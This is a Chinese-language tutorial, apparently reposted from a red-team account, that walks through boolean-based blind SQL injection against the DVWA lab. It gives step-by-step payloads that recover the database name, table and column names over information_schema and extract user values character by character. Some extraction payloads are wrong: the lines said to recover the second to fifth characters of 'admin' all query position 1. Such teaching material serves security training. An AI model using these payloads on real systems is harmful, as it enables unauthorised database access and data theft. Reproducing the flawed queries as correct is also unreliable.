saulGoodman
一个专注于红队攻防研究的公众号
关注
MySQL手注之布尔型盲注详解
基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True
(页面)和False
(页面)。
这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。
环境:DVWA
注入点:http://www.saul.com/DVWA/vulnerabilities/sqli_blind
我们输入数字1
提交,页面提示:User ID exists in the database.
,说明ID
为1
的存在与数据库中!
我们输入数字10
提交,页面显示:User ID is MISSING from the database
,说明ID
为10不在
数据库中!
length() 返回字符串的长度,例如可以返回数据库名字的长度
substr() ⽤来截取字符串
ascii() 返回字符的ascii码
sleep(n) 将程序挂起⼀段时间,n为n秒
if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句
注入点原查询代码:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
判断注入:
注入语句:
1' and 1=1 #
带入查询的语句:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #';";
注入语句:
1' and 1=2 #
带入查询的语句:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 #';";
1' and 1=1 #
返回正常:
1' and 1=2 #
返回错误:
说明存在注入,而且是字符型的注入!(如果是数字型的注入,那么就不用去闭合单引号)
猜数据库名长度:
1' and length(database())=1 #
1' and length(database())=2 #
1' and length(database())=3 #
1' and length(database())=4 #
1' and length(database())=3 #
,页面返回错误:
1' and length(database())=4 #
,页面返回正常:
说明当前数据库名长度为4
!
⼆分法逐字猜解:
1' and ascii(substr(database(),1,1))>97 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼤于 97(⼩写字母a的ascii值);
1' and ascii(substr(database(),1,1))<122 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 122(⼩写字母z的ascii值);
1' and ascii(substr(database(),1,1))<109 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 109(⼩写字母m的ascii值)
1' and ascii(substr(database(),1,1))<103 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 103(⼩写字母g的ascii值);
1' and ascii(substr(database(),1,1))<100 #,显⽰不存在,说明数据库名的第⼀个字符的ascii值不 ⼩于100(⼩写字母d的ascii值);
1' and ascii(substr(database(),1,1))=100 #,显⽰存在,说明数据库名的第⼀个字符的ascii值等于100(⼩写字母d的ascii值),所以数据库名的第⼀个字符的ascii值为100,即⼩写字母d。
重复以上步骤直到得出完整的数据库名dvwa
1' and ascii(substr(database(),n,1))>100
... ...
猜解数据库第一个字符为:d
1' and ascii(substr(database(),1,1))=100 #
猜解数据库第二个字符为:v
1' and ascii(substr(database(),2,1))=118 #
猜解数据库第三个字符为:w
1' and ascii(substr(database(),3,1))=119 #
猜解数据库第三个字符为:a
1' and ascii(substr(database(),4,1))=97 #
注释:
substr(str,start,stop)
substr截取字符串str,从start开始截取,截取stop个字符
这里我就不一一截图了,我就截图第四个字符串的图:
这样我们就得到了当前数据库名为:dvwa
猜解表的数量:
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显⽰不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显⽰存在
注释:
原理是使用count()这个函数来判断table_name这个表的数量有几个
然后后面有一个where判断来指定是当前数据库
在末尾有一个 =1 ,意思是判断表有1个,正确那么页面返回正常,错误即返回不正常
由上图可知,我们判断出当前数据库名下的表有两个!
猜解表名长度:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显⽰存在
注释:
select table_name from information_schema.tables where table_schema=database() limit 0,1),1) 这条语句就是substr的str,要截取的字符
limit 0,1 这条语句是 limit 子句来限制查询的数量,具体格式是这样的:
select * from tableName limit i,n
tableName:表名
i:为查询结果的索引值(默认从0开始),当i=0时可省略i
n:为查询结果返回的数量
i与n之间使用英文逗号","隔开
limit n 等同于 limit 0,n
limit 0,1 默认0(i)就是从1开始
由上图可见,我们查询出来第一个表名的长度是9
,那么如果想查询第二个表名的长度就用这条语句:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 # 显⽰存在
由上图可见第二个表名的长度为5,想要继续查下面的表就可以在 limit x,n
,x
这个参数继续增加1
,这样以此类推就可以查询多个表名的长度!
猜解表的名字:
猜解第一个表名的第一个字符长度是否为:g
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # 返回正常
猜解第一个表名的第二个字符长度是否为:u
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117 # 返回正常
猜解第一个表名的第三个字符长度是否为:e
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101 # 返回正常
猜解第一个表名的第四个字符长度是否为:s
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=115 # 返回正常
猜解第一个表名的第五个字符长度是否为:t
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))=116 # 返回正常
猜解第一个表名的第六个字符长度是否为:b
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))=98 # 返回正常
猜解第一个表名的第七个字符长度是否为:o
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),7,1))=111 # 返回正常
猜解第一个表名的第八个字符长度是否为:o
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),8,1))=111 # 返回正常
猜解第一个表名的第九个字符长度是否为:k
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),9,1))=107 # 返回正常
语法格式是:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit i,1),n,1))>97 #
i 是第几个表
n 是第几个字符长度
这里我就不全部一一截图了,我就截图第九
个字符长度为k
的:
这样就查询出来第一个表名为:guestbook
那么想要查询下一个表名就可以使用这个语句:
猜解第二个表名的第一个字符长度是否为:u
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117 # 返回正常
猜解第二个表名的第二个字符长度是否为:s
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=115 # 返回正常
猜解第二个表名的第三个字符长度是否为:e
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=101 # 返回正常
猜解第二个表名的第四个字符长度是否为:r
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=114 # 返回正常
猜解第二个表名的第五个字符长度是否为:s
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1))=115 # 返回正常
这里我就不一一截图了,我就截图第五
个字符的长度为s
:
这样我们就猜解出来了第二
个表名为:users
猜解字段的数量:
判断表名users的字段数量是否为8
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #
由上图可知,字段有8
个!
我们上帝视角看看:
猜解第⼀个字段的长度(user_id):
猜解第一个字段的长度是否为7:
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 #
猜解第二个字段的长度(first_name):
猜解第二个字段的长度是否为10:
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1))=10 #
如果查询下一个字段就以此类推!
猜解第⼀个字段名(user_id):
猜解第一个字段名的第一个字符为:u
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))=117 #
猜解第一个字段名的第二个字符为:s
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),2,1))=115 #
猜解第一个字段名的第三个字符为:e
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),3,1))=101 #
猜解第一个字段名的第四个字符为:r
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),4,1))=114 #
猜解第一个字段名的第五个字符为:_
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),5,1))=95 #
猜解第一个字段名的第六个字符为:i
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),6,1))=105 #
猜解第一个字段名的第七个字符为:d
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),7,1))=100 #
这里我就不一一截图了,我就只截图最后一个
字符为d
的:
猜解第二个字段名(first_name):
猜解第二个字段名的第一个字符为:f
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1,1))=102 #
猜解第二个字段名的第二个字符为:i
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),2,1))=105 #
猜解第二个字段名的第三个字符为:r
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),3,1))=114 #
猜解第二个字段名的第四个字符为:s
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),4,1))=115 #
猜解第二个字段名的第五个字符为:t
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),5,1))=116 #
猜解第二个字段名的第六个字符为:_
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),6,1))=95 #
猜解第二个字段名的第七个字符为:n
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),7,1))=110 #
猜解第二个字段名的第八个字符为:a
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),8,1))=97 #
猜解第二个字段名的第九个字符为:m
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),9,1))=109 #
猜解第二个字段名的第十个字符为:e
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),10,1))=101 #
这里我就不一一截图了,我只截图最后一个
字符e
:
如果想查询第n
个字段名,那么就使用这个语句:
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit i,1),n,1))=101 #
注释:
i代表查询第几个字段名
n代码查询字段名的第几个字符
根据ascii
码来猜解数据:
上帝视角如上图,我们就查询 user
这个字段的数据吧!
猜解 dvwa.users 表下的 user 列的第一个字段内容为:a
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 #
猜解 dvwa.users 表下的 user 列的第二个字段内容为:d
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=100 #
猜解 dvwa.users 表下的 user 列的第三个字段内容为:m
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=109 #
猜解 dvwa.users 表下的 user 列的第四个字段内容为:i
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=105 #
猜解 dvwa.users 表下的 user 列的第五个字段内容为:n
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=110
这里我就不一一截图了,我就截图最后一个
字符n
:
这样就猜解出来字段内容为 admin
!想要查询下一个就以此类推!
暴力猜解:
猜解 user 字段值是否为 admin
1' and (select count(*) from users where user = 'admin') = 1 #
返回正常说明有 admin
!
猜解 user 字段值是否为 1337
1' and (select count(*) from users where user = '1337') = 1 #
返回正常说明有 1337
!这样就能够通过暴力破解(字典)的形式来猜解字段内容!以此类推下去猜解全部的字段内容!
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有